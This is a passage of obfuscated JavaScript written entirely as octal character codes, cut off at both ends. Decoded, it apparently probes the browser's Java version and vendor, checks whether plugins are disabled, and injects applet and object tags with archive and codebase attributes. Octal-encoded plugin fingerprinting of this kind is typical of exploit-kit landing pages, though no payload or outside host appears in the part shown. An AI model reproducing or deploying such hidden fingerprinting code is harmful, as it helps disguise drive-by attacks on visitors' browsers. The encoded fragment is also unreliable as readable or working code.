0150, 0141, 0163, 0122, 0165, 0156, 0174, 0174, 0146, 056, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 073, 0146, 056, 0150, 0141, 0163, 0122, 0165, 0156, 075, 061, 073, 0151, 0146, 050, 041, 0142, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 042, 0152, 0141, 0166, 0141, 0137, 0161, 0161, 0161, 071, 071, 060, 042, 073, 0147, 0133, 0141, 0135, 075, 0156, 0165, 0154, 0154, 073, 0164, 0162, 0171, 0173, 0166, 0141, 0162, 040, 0143, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 042, 0163, 0143, 0162, 0151, 0160, 0164, 042, 051, 073, 0143, 056, 0164, 0171, 0160, 0145, 075, 042, 0164, 0145, 0170, 0164, 057, 0152, 0141, 0166, 0141, 0163, 0143, 0162, 0151, 0160, 0164, 042, 073, 0143, 056, 0141, 0160, 0160, 0145, 0156, 0144, 0103, 0150, 0151, 0154, 0144, 050, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0124, 0145, 0170, 0164, 0116, 0157, 0144, 0145, 050, 047, 050, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0145, 054, 0141, 073, 0164, 0162, 0171, 0173, 0141, 075, 0133, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0152, 0141, 0166, 0141, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 042, 0152, 0141, 0166, 0141, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 042, 051, 053, 042, 040, 042, 054, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0152, 0141, 0166, 0141, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 042, 0152, 0141, 0166, 0141, 056, 0166, 0145, 0156, 0144, 0157, 0162, 042, 051, 053, 042, 040, 042, 0135, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0145, 051, 0173, 0175, 073, 047, 053, 0147, 056, 0156, 0141, 0155, 0145, 053, 042, 056, 042, 053, 0141, 053, 042, 075, 0141, 0174, 0174, 060, 0175, 051, 050, 051, 073, 042, 051, 051, 073, 0147, 056, 0150, 0145, 0141, 0144, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0102, 0145, 0146, 0157, 0162, 0145, 050, 0143, 054, 0147, 056, 0150, 0145, 0141, 0144, 056, 0146, 0151, 0162, 0163, 0164, 0103, 0150, 0151, 0154, 0144, 051, 073, 0147, 056, 0150, 0145, 0141, 0144, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0143, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0151, 051, 0173, 0175, 0151, 0146, 050, 0147, 0133, 0141, 0135, 046, 046, 0147, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0147, 0133, 0141, 0135, 051, 051, 0173, 0146, 056, 0162, 0145, 0163, 0165, 0154, 0164, 075, 0133, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0147, 0133, 0141, 0135, 051, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0175, 0175, 0175, 054, 0141, 0160, 0160, 0154, 0145, 0164, 072, 0173, 044, 072, 061, 054, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 072, 0133, 0133, 0156, 0165, 0154, 0154, 054, 0156, 0165, 0154, 0154, 0135, 054, 0133, 0156, 0165, 0154, 0154, 054, 0156, 0165, 0154, 0154, 0135, 054, 0133, 0156, 0165, 0154, 0154, 054, 0156, 0165, 0154, 0154, 0135, 0135, 054, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 054, 0141, 054, 0142, 075, 0133, 0135, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0143, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0142, 075, 0143, 0133, 0141, 0135, 073, 0151, 0146, 050, 0142, 0133, 060, 0135, 051, 0173, 0142, 0162, 0145, 0141, 0153, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 0133, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0142, 051, 0175, 054, 0110, 0124, 0115, 0114, 072, 0133, 060, 054, 060, 054, 060, 0135, 054, 0141, 0143, 0164, 0151, 0166, 0145, 072, 0133, 060, 054, 060, 054, 060, 0135, 054, 0104, 0165, 0155, 0155, 0171, 0117, 0142, 0152, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 072, 060, 054, 0104, 0165, 0155, 0155, 0171, 0123, 0160, 0141, 0156, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 072, 060, 054, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 072, 0133, 061, 054, 061, 054, 061, 0135, 054, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0110, 0141, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0142, 073, 0146, 0157, 0162, 050, 0142, 075, 060, 073, 0142, 074, 0144, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0142, 053, 053, 051, 0173, 0151, 0146, 050, 0144, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 0133, 0142, 0135, 075, 075, 075, 0143, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0163, 0141, 0166, 0145, 0101, 0163, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0141, 073, 0151, 0146, 050, 0144, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0143, 051, 051, 0173, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0144, 056, 0151, 0163, 0116, 0165, 0155, 050, 0143, 0133, 0141, 0135, 051, 051, 0173, 0151, 0146, 050, 060, 076, 0143, 0133, 0141, 0135, 051, 0173, 0143, 0133, 0141, 0135, 075, 060, 0175, 0151, 0146, 050, 0143, 0133, 0141, 0135, 076, 063, 051, 0173, 0143, 0133, 0141, 0135, 075, 063, 0175, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 0133, 0141, 0135, 075, 0143, 0133, 0141, 0135, 0175, 0175, 0175, 0175, 054, 0163, 0145, 0164, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0142, 056, 044, 054, 0141, 075, 0142, 056, 044, 044, 073, 0151, 0146, 050, 0141, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0142, 056, 0163, 0141, 0166, 0145, 0101, 0163, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0141, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0104, 0145, 0146, 0141, 0165, 0154, 0164, 050, 051, 051, 0175, 0151, 0146, 050, 0141, 056, 0144, 0145, 0142, 0165, 0147, 0174, 0174, 050, 0141, 056, 0166, 0145, 0162, 0151, 0146, 0171, 046, 046, 0141, 056, 0166, 0145, 0162, 0151, 0146, 0171, 056, 0151, 0163, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 051, 0173, 0142, 056, 0163, 0141, 0166, 0145, 0101, 0163, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0133, 063, 054, 063, 054, 063, 0135, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0144, 051, 0173, 0142, 056, 0163, 0141, 0166, 0145, 0101, 0163, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0144, 051, 0175, 0175, 0175, 054, 0141, 0154, 0154, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0141, 0154, 0154, 0101, 0160, 0160, 0154, 0145, 0164, 0163, 050, 051, 0175, 054, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0142, 056, 044, 054, 0141, 075, 0142, 056, 044, 044, 073, 0151, 0146, 050, 0144, 075, 075, 062, 046, 046, 041, 0143, 056, 0151, 0163, 0111, 0105, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0144, 075, 075, 075, 060, 0174, 0174, 0144, 075, 075, 062, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0117, 0142, 0152, 0145, 0143, 0164, 0124, 0141, 0147, 050, 051, 0175, 0151, 0146, 050, 0144, 075, 075, 061, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0101, 0160, 0160, 0154, 0145, 0164, 0124, 0141, 0147, 050, 051, 0175, 0175, 054, 0143, 0141, 0156, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 073, 0151, 0146, 050, 0141, 056, 0110, 0124, 0115, 0114, 0133, 0142, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 041, 0141, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 0142, 051, 0175, 054, 0143, 0141, 0156, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0141, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0142, 056, 0143, 0141, 0156, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 0141, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 054, 0143, 075, 0142, 056, 044, 054, 0141, 075, 0142, 056, 044, 044, 073, 0151, 0146, 050, 041, 0142, 056, 0143, 0141, 0156, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 0144, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 063, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 062, 056, 070, 046, 046, 041, 0142, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 062, 056, 065, 046, 046, 041, 0141, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 062, 056, 062, 046, 046, 041, 0141, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 046, 046, 041, 0142, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 041, 0141, 056, 0156, 0157, 0156, 0101, 0160, 0160, 0154, 0145, 0164, 0104, 0145, 0164, 0145, 0143, 0164, 0151, 0157, 0156, 0117, 0153, 050, 0141, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 051, 051, 0173, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 062, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0145, 0133, 0144, 0135, 075, 075, 061, 046, 046, 041, 0142, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0141, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0142, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 0141, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0161, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0146, 051, 0173, 0166, 0141, 0162, 040, 0150, 054, 0141, 075, 0164, 0150, 0151, 0163, 054, 0147, 075, 0141, 056, 044, 054, 0144, 075, 0141, 056, 044, 044, 054, 0151, 075, 0156, 0165, 0154, 0154, 054, 0152, 075, 0156, 0165, 0154, 0154, 054, 0142, 075, 0141, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 054, 0143, 073, 0151, 0146, 050, 050, 0142, 0133, 0146, 0135, 0133, 060, 0135, 046, 046, 0142, 0133, 0146, 0135, 0133, 061, 0135, 051, 0174, 0174, 050, 0144, 056, 0144, 0145, 0142, 0165, 0147, 046, 046, 0144, 056, 0117, 0124, 0106, 074, 063, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0143, 075, 0147, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0141, 056, 0110, 0124, 0115, 0114, 0133, 0146, 0135, 054, 0164, 0162, 0165, 0145, 051, 073, 0151, 0146, 050, 0143, 051, 0173, 0164, 0162, 0171, 0173, 0151, 075, 0147, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 051, 053, 042, 040, 042, 051, 073, 0152, 075, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0156, 0144, 0157, 0162, 050, 051, 053, 042, 040, 042, 073, 0143, 056, 0163, 0164, 0141, 0164, 0165, 0163, 0142, 0141, 0162, 050, 0147, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 077, 042, 040, 042, 072, 042, 040, 042, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0150, 051, 0173, 0175, 0151, 0146, 050, 0151, 046, 046, 0147, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0151, 051, 051, 0173, 0142, 0133, 0146, 0135, 075, 0133, 0151, 054, 0152, 0135, 0175, 0145, 0154, 0163, 0145, 0173, 0175, 073, 0164, 0162, 0171, 0173, 0151, 0146, 050, 0147, 056, 0151, 0163, 0111, 0105, 046, 046, 0151, 046, 046, 0143, 056, 0162, 0145, 0141, 0144, 0171, 0123, 0164, 0141, 0164, 0145, 041, 075, 064, 051, 0173, 0147, 056, 0147, 0141, 0162, 0142, 0141, 0147, 0145, 075, 0164, 0162, 0165, 0145, 073, 0143, 056, 0160, 0141, 0162, 0145, 0156, 0164, 0116, 0157, 0144, 0145, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0143, 051, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0150, 051, 0173, 0175, 0175, 0175, 054, 0151, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0151, 075, 0144, 056, 044, 054, 0145, 075, 0144, 056, 044, 044, 054, 0154, 075, 0144, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 054, 0160, 075, 0144, 056, 0110, 0124, 0115, 0114, 054, 0141, 075, 042, 046, 0156, 0142, 0163, 0160, 073, 046, 0156, 0142, 0163, 0160, 073, 046, 0156, 0142, 0163, 0160, 073, 046, 0156, 0142, 0163, 0160, 073, 042, 054, 0147, 075, 042, 0101, 056, 0143, 0154, 0141, 0163, 0163, 042, 054, 0155, 075, 0151, 056, 0146, 0151, 0154, 0145, 056, 0147, 0145, 0164, 0126, 0141, 0154, 0151, 0144, 050, 0145, 051, 073, 0151, 0146, 050, 041, 0155, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0175, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 061, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 061, 0175, 0151, 0146, 050, 0144, 056, 0141, 0154, 0154, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0175, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 061, 056, 065, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 061, 056, 065, 0175, 0166, 0141, 0162, 040, 0152, 075, 0155, 056, 0156, 0141, 0155, 0145, 053, 0155, 056, 0145, 0170, 0164, 054, 0150, 075, 0155, 056, 0160, 0141, 0164, 0150, 073, 0166, 0141, 0162, 040, 0146, 075, 0133, 042, 0141, 0162, 0143, 0150, 0151, 0166, 0145, 042, 054, 0152, 054, 042, 0143, 0157, 0144, 0145, 042, 054, 0147, 0135, 054, 0143, 075, 0133, 042, 0155, 0141, 0171, 0163, 0143, 0162, 0151, 0160, 0164, 042, 054, 042, 0164, 0162, 0165, 0145, 042, 0135, 054, 0157, 075, 0133, 042, 0163, 0143, 0162, 0151, 0160, 0164, 0141, 0142, 0154, 0145, 042, 054, 042, 0164, 0162, 0165, 0145, 042, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0143, 051, 054, 0156, 075, 0145, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0142, 075, 041, 0151, 056, 0151, 0163, 0111, 0105, 046, 046, 0156, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 046, 046, 0156, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 056, 0164, 0171, 0160, 0145, 077, 0156, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 056, 0164, 0171, 0160, 0145, 072, 0145, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 0133, 060, 0135, 073, 0151, 0146, 050, 0144, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 060, 051, 051, 0173, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 062, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 062, 0175, 073, 0160, 0133, 060, 0135, 075, 0151, 056, 0151, 0163, 0111, 0105, 077, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0164, 0171, 0160, 0145, 042, 054, 0142, 0135, 054, 0133, 042, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 042, 054, 0150, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0146, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0157, 051, 054, 0141, 054, 0145, 051, 072, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0164, 0171, 0160, 0145, 042, 054, 0142, 0135, 054, 0133, 042, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 042, 054, 0150, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0146, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0157, 051, 054, 0141, 054, 0145, 051, 073, 0154, 0133, 060, 0135, 075, 0133, 060, 054, 060, 0135, 073, 0144, 056, 0161, 0165, 0145, 0162, 0171, 050, 060, 051, 0175, 0151, 0146, 050, 0144, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 061, 051, 051, 0173, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 062, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 062, 0175, 073, 0160, 0133, 061, 0135, 075, 0151, 056, 0151, 0163, 0111, 0105, 077, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0141, 0160, 0160, 0154, 0145, 0164, 042, 054, 0133, 042, 0141, 0154, 0164, 042, 054, 0141, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0143, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0146, 051, 054, 0133, 042, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 042, 054, 0150, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0143, 051, 054, 0141, 054, 0145, 051, 072, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0141, 0160, 0160, 0154, 0145, 0164, 042, 054, 0133, 042, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 042, 054, 0150, 054, 042, 0141, 0154, 0164, 042, 054, 0141, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0143, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0146, 051, 054, 0133, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0143, 051, 054, 0141, 054, 0145, 051, 073, 0154, 0133, 061, 0135, 075, 0133, 060, 054, 060, 0135, 073, 0144, 056, 0161, 0165, 0145, 0162, 0171, 050, 061, 051, 0175, 0151, 0146, 050, 0144, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 050, 062, 051, 051, 0173, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 062, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 062, 0175, 073, 0160, 0133, 062, 0135, 075, 0151, 056, 0151, 0163, 0111, 0105, 077, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0143, 0154, 0141, 0163, 0163, 0151, 0144, 042, 054, 0145, 056, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 0135, 054, 0133, 042, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 042, 054, 0150, 0135, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0146, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0157, 051, 054, 0141, 054, 0145, 051, 072, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 051, 073, 0154, 0133, 062, 0135, 075, 0133, 060, 054, 060, 0135, 073, 0144, 056, 0161, 0165, 0145, 0162, 0171, 050, 062, 051, 0175, 0151, 0146, 050, 041, 0144, 056, 0104, 0165, 0155, 0155, 0171, 0117, 0142, 0152, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 046, 046, 041, 0145, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0117, 0142, 0152, 0145, 0143, 0164, 0124, 0141, 0147, 050, 051, 051, 0173, 0144, 056, 0104, 0165, 0155, 0155, 0171, 0117, 0142, 0152, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 075, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 0135, 054, 0133, 0135, 054, 0141, 051, 0175, 0151, 0146, 050, 041, 0144, 056, 0104, 0165, 0155, 0155, 0171, 0123, 0160, 0141, 0156, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 051, 0173, 0144, 056, 0104, 0165, 0155, 0155, 0171, 0123, 0160, 0141, 0156, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 075, 0151, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 042, 054, 0133, 0135, 054, 0133, 0135, 054, 0141, 051, 0175, 073, 0166, 0141, 0162, 040, 0153, 075, 0145, 056, 0116, 0117, 0124, 0106, 073, 0151, 0146, 050, 0145, 056, 0117, 0124, 0106, 074, 063, 046, 046, 0153, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0103, 0157, 0156, 0164, 0151, 0156, 0165, 0145, 0121, 0165, 0145, 0162, 0171, 050, 051, 051, 0173, 0145, 056, 0117, 0124, 0106, 075, 063, 073, 0153, 056, 0157, 0156, 0111, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0121, 0165, 0145, 0162, 0171, 075, 0151, 056, 0150, 0141, 0156, 0144, 0154, 0145, 0162, 050, 0153, 056, 044, 044, 0157, 0156, 0111, 